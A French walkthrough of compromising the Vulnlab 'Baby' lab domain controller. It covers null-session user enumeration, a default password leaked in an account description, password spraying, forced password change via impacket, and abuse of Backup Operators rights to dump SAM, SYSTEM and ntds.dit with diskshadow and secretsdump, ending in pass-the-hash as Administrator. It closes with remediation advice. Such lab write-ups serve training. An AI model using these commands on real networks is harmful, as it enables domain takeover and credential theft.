A travers cet article, nous allons voir comment passer administrateur d’une machine proposée par Vulnlab “Baby”.

🔍 Énumération

La découverte de port s’effectue avec nmap : nmap IP -sCV -T4

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-28 14:32:59Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default
-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default
-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-10-28T14:33:40+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2023-07-29T07:48:30
|_Not valid after:  2024-01-28T07:48:30
| rdp-ntlm-info:
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2023-10-28T14:33:00+00:00
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb2-time:
|   date: 2023-10-28T14:33:01
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required

Ici nous retrouvons les ports d’un domaine contrôleur :

  • 53/tcp -> DNS
  • 88/tcp -> Kerberos
  • 464/tcp -> kpasswd5
  • 445/tcp -> Server Message Block

D’autres ports sont également ouverts :

  • 135/tcp -> Remote Procedure Call
  • 139/tcp -> Netbios
  • 3389/tcp -> RDP Remote Desktop Protocol

D’autres informations sont présentes, telles que :

  • Hostname de la machine : BABYDC
  • Nom de domaine : baby.vl
  • FQDN : BabyDC.baby.vl

Avec ces informations, on peut tester les sessions nulles :

ldapsearch -H ldap://baby.vl -x -b "DC=baby,DC=vl" | fgrep dn
// ou via cme
cme ldap 10.10.112.19 -u '' -p '' --users
LDAP        10.10.112.19    389    BABYDC           DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Administrator,CN=Users,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Guest,CN=Users,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=krbtgt,CN=Users,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Ashley Webb,OU=dev,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Hugh George,OU=dev,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Ian Walker,OU=dev,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=it,CN=Users,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Caroline Robinson,OU=it,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Joseph Hughes,OU=it,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Kerry Wilson,OU=it,DC=baby,DC=vl
LDAP        10.10.112.19    389    BABYDC           CN=Teresa Bell,OU=it,DC=baby,DC=vl

Les nulls sessions sont activées, il est donc possible de lister les utilisateurs (et les groupes) du domaine, il est également possible d’afficher les descriptions des objets AD :

cme ldap 10.10.112.19 -u '' -p '' --users -M user-desc
SMB         10.10.112.19    445    BABYDC           [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
LDAP        10.10.112.19    389    BABYDC           [+] baby.vl\:
USER-DES...                                         User: Teresa.Bell - Description: Set initial password to B****

Ici coup de chance, nous avons une information comme quoi le mot de passe par défaut pour les comptes est présent dans une description.

Nous pouvons tenter de l’utiliser sur d’autres comptes :

crackmapexec smb 10.10.112.19 -u users.lst -p pass.lst
SMB         10.10.112.19    445    BABYDC           [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.10.112.19    445    BABYDC           [-] baby.vl\Administrator:B**** STATUS_LOGON_FAILURE
<SNIP>
SMB         10.10.112.19    445    BABYDC           [-] baby.vl\Connor.Wilkinson:B**** STATUS_LOGON_FAILURE
SMB         10.10.112.19    445    BABYDC           [-] baby.vl\Caroline.Robinson:B**** STATUS_PASSWORD_MUST_CHANGE
<SNIP>

Entre les erreurs STATUS_LOGON_FAILURE, nous avons un message d’erreur STATUS_PASSWORD_MUST_CHANGE.

Le compte est marqué pour indiquer que le mot de passe doit être modifié lors de la prochaine ouverture de session. Documentations Microsoft

Et bien, Modifons le ! 😼

🤯 Exploitation

L’outil de la suite impacket smbpasswd, permet de changer les mots de passe d’objet AD via MSRPC-SAMR

L’interface SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d’utilisateur) et forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage des comptes. Article de Hacktricks : 135 Pentesting MS-RPC

smbpasswd.py -newpass '123Pentest!!!' "baby.vl"/"Caroline.Robinson":'B****'@"10.10.112.19"
Impacket for Exegol - v0.10.1.dev1+20230806.34223.faf17b2 - Copyright 2022 Fortra - forked by ThePorgs

[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

Nous avons donc un compte valide sur le domaine : Caroline.Robinson:123Pentest!!!

🔼 Élévation de privilège

Ici, Caroline.Robinson possède les droits de connexion à distance via WinRM, puisqu’elle fait partie du groupe BUILTIN\Remote Management Users, il est possible de récupérer l’information en mappant l’AD via bloodhound ou liste les groupes via ldapsearch, netexec etc…

Au moment où j’ai réalisé la box, j’avais tenté à l’aveugle la connexion via winRM mais il est préférable de lister les groupes de l’utilisateur avant de tenter la connexion

Connexions à distance avec evil-winrm

evil-winrm -i 10.10.112.19 -u Caroline.Robinson -p 123Pentest!!!

Une fois connectée, la commande whoami /all permet de lister les groupes et les privilèges de l’utilisateur :

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /all
whoami /all
User Name              SID
====================== ==============================================
baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1111


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
BABY\it                                    Group            S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Caroline.Robinson fait partie du groupe Backup Operators, ce groupe contient 2 ACE :

  • SeBackupPrivilege permettant de sauvegarder des fichiers et des répertoires
  • SeRestorePrivilege permettant de restaurer des fichiers et des répertoires

Dans ce cas de figure, il est possible d’effectuer un dump du SAM et SYSTEM :

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\sam C:\Temp\sam
The operation completed successfully

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\system C:\Temp\system
The operation completed successfully

Avec evil-winrm, il est possible d’extraire des fichiers avec la commande download

*Evil-WinRM* PS C:\Temp> download sam
Info : Downloading  C:\Temp\sam to sam

Info : Download successful!

*Evil-WinRM* PS C:\Temp> download system 
Info : Downloading  C:\Temp\system to system

Info : Download successful!

Cool ! mais dans un contrôleur de domaine, il existe le fichier ntds.dit qui contient toutes les credentials du domaine.

Création d’un fichier script.txt contenant :

set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Ce script sauvegarde les fichiers du lecteur C: et facilite leur accès ultérieur via un autre lecteur désigné.

Exécution du script avec diskshadow.exe puis récupération du fichier ntds.dit sur le disque C:

*Evil-WinRM* PS C:\Temp> diskshadow.exe /s script.txt
<SNIP>
*Evil-WinRM* PS C:\Temp> robocopy.exe /b E:\Windows\ntds . ntds.dit
<SNIP>
*Evil-WinRM* PS C:\Temp> download ntds.dit 
Info : Downloading  C:\Temp\ntds.dit to ntds.dit

Info : Download successful!

Une fois les fichiers récupérés sur notre machine, nous pouvons extraire la base NTDS.dit avec l’outil secretsdump de la suite impacket :

secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL

1

Nous pouvons nous connecter en utilisant le hash NT du compte Administrateur.

wmiexec.py -hashes :"Hash NT" "baby.vl"/"Administrator"@"$10.10.112.19"

🩹 Proposition de remédiation

  • Désactiver les nulles sessions

  • Attribuer le groupe “Backup Operator” à un compte de service et non à un compte utilisateur

  • Nettoyer les descriptions des objects AD

📚 Documentations

🧰 Outils

Linux :

Windows :